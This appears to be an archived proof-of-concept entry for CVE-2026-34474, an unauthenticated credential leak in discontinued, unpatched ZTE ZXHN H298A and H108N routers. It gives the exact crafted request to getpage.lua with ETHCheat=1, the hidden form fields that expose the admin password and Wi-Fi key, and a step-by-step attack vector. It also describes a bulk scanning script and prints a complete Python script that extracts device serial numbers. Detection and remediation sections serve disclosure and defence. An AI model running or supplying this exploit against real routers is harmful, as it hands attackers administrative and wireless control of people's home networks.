PoC Archive PoC Archive
High CVE-2026-34474 unpatched

ZTE ZXHN H298A / H108N Router Unauthenticated Credential Disclosure (CVE-2026-34474)

by minanagehsalalma · 2026-07-05

Severity
High
CVE
CVE-2026-34474
Category
network
Affected product
ZTE ZXHN H298A (hardware 1.1) and ZXHN H108N (hardware 2.6) home routers
Affected versions
H298A 1.1, H108N 2.6 (both discontinued by ZTE in 2022/2023)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / Researcherminanagehsalalma
CVE / AdvisoryCVE-2026-34474
Categorynetwork
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsinformation-disclosure, router, firmware, unauthenticated, credential-leak, iot, zte, wifi
RelatedN/A

Affected Target

FieldValue
Software / SystemZTE ZXHN H298A (hardware 1.1) and ZXHN H108N (hardware 2.6) home routers
Versions AffectedH298A 1.1, H108N 2.6 (both discontinued by ZTE in 2022/2023)
Language / PlatformPython 3 (PoC), target is embedded Lua-based router web management interface
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2026-34474 is an unauthenticated information disclosure in the web management interface of ZTE ZXHN H298A and H108N router firmware. A crafted GET request to getpage.lua?pid=1000&ETHCheat=1 returns HTML containing the live administrator password, WLAN PSK, and ESSID directly in hidden form fields, with no session or credential check. A companion endpoint, wizard_page/wizard_overETHfail_set_lua.lua, similarly discloses the device serial number to unauthenticated callers. The included PoC scripts issue these requests and parse the returned markup to extract the exposed secrets, effectively handing an attacker both admin and Wi-Fi access to the device.


Vulnerability Details

Root Cause

The ETHCheat=1 parameter branch of getpage.lua returns a diagnostic/setup page that embeds live configuration values (OBJ_USERINFO_IDPassword1, WLANPSK_KeyPassphrase1, WLANAP_ESSID1) as pre-filled form field values without verifying that the requester is authenticated.

Attack Vector

  1. Send an unauthenticated GET /getpage.lua?pid=1000&ETHCheat=1 request to the target router.
  2. Parse the returned HTML for the OBJ_USERINFO_IDPassword1, WLANAP_ESSID1, and WLANPSK_KeyPassphrase1 field values.
  3. Optionally send GET /wizard_page/wizard_overETHfail_set_lua.lua to extract the device SerialNumber from the returned XML-like structure.
  4. Use the recovered administrator password and WLAN PSK to gain full administrative and wireless access to the router.

Impact

Full compromise of the router’s administrative interface and wireless network by any unauthenticated attacker with network access to the device’s web interface.


Environment / Lab Setup

Target:   ZTE ZXHN H298A 1.1 / ZXHN H108N 2.6 router web interface
Attacker: Python 3, aiohttp/requests, colorama

Proof of Concept

PoC Script

See extract_ethcheat_credentials.py and check_serialnumber_endpoint.py in this folder.

1
2
python3 extract_ethcheat_credentials.py   # reads targets from urls.txt
python3 check_serialnumber_endpoint.py <target-ip>

extract_ethcheat_credentials.py asynchronously queries a list of target routers, requests the ETHCheat=1 diagnostic page and the wizard serial-number endpoint, and prints a color-coded table of recovered admin password, ESSID, WLAN PSK, and serial number per host. check_serialnumber_endpoint.py is a standalone helper that just queries and prints the disclosed serial number for a single target.


Detection & Indicators of Compromise

Signs of compromise:

  • Repeated unauthenticated requests to getpage.lua with ETHCheat=1 from unfamiliar source IPs
  • Unexpected administrator logins or Wi-Fi configuration changes shortly after such requests
  • Presence of the router’s serial number or credentials in external scanning tool output/logs

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — ZTE has stated both models are discontinued (2022/2023) and declined vendor-side CVE assignment
Interim mitigationReplace affected end-of-life devices; restrict management interface access to trusted LAN only and disable remote/WAN-facing administration

References


Notes

Mirrored from https://github.com/minanagehsalalma/cve-2026-34474-zte-h298a-h108n-sensitive-data-exposure on 2026-07-05.

check_serialnumber_endpoint.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import argparse
import html
import re
import sys

import requests


SERIAL_PATTERN = re.compile(
    r"<ParaName>SerialNumber</ParaName><ParaValue>(.*?)</ParaValue>"
)
SERIAL_ENDPOINT = "/wizard_page/wizard_overETHfail_set_lua.lua"


def extract_serial_number(response_text: str) -> str | None:
    match = SERIAL_PATTERN.search(response_text)
    if not match:
        return None

    return html.unescape(match.group(1))


def build_url(target: str) -> str:
    target = target.strip().rstrip("/")
    if target.startswith(("http://", "https://")):
        return f"{target}{SERIAL_ENDPOINT}"
    return f"http://{target}{SERIAL_ENDPOINT}"


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description="Check the unauthenticated serial-number endpoint on a target."
    )
    parser.add_argument(
        "target",
        help="Target host or base URL, for example 192.168.1.1 or http://192.168.1.1",
    )
    parser.add_argument(
        "--timeout",
        type=float,
        default=10.0,
        help="HTTP timeout in seconds (default: 10)",
    )
    return parser.parse_args()


def main() -> int:
    args = parse_args()
    url = build_url(args.target)

    try:
        response = requests.get(url, timeout=args.timeout)
        response.raise_for_status()
    except requests.RequestException as exc:
        print(f"Request failed: {exc}", file=sys.stderr)
        return 1

    serial_number = extract_serial_number(response.text)
    if serial_number is None:
        print("Serial number not found in the response.", file=sys.stderr)
        return 2

    print(f"SerialNumber: {serial_number}")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())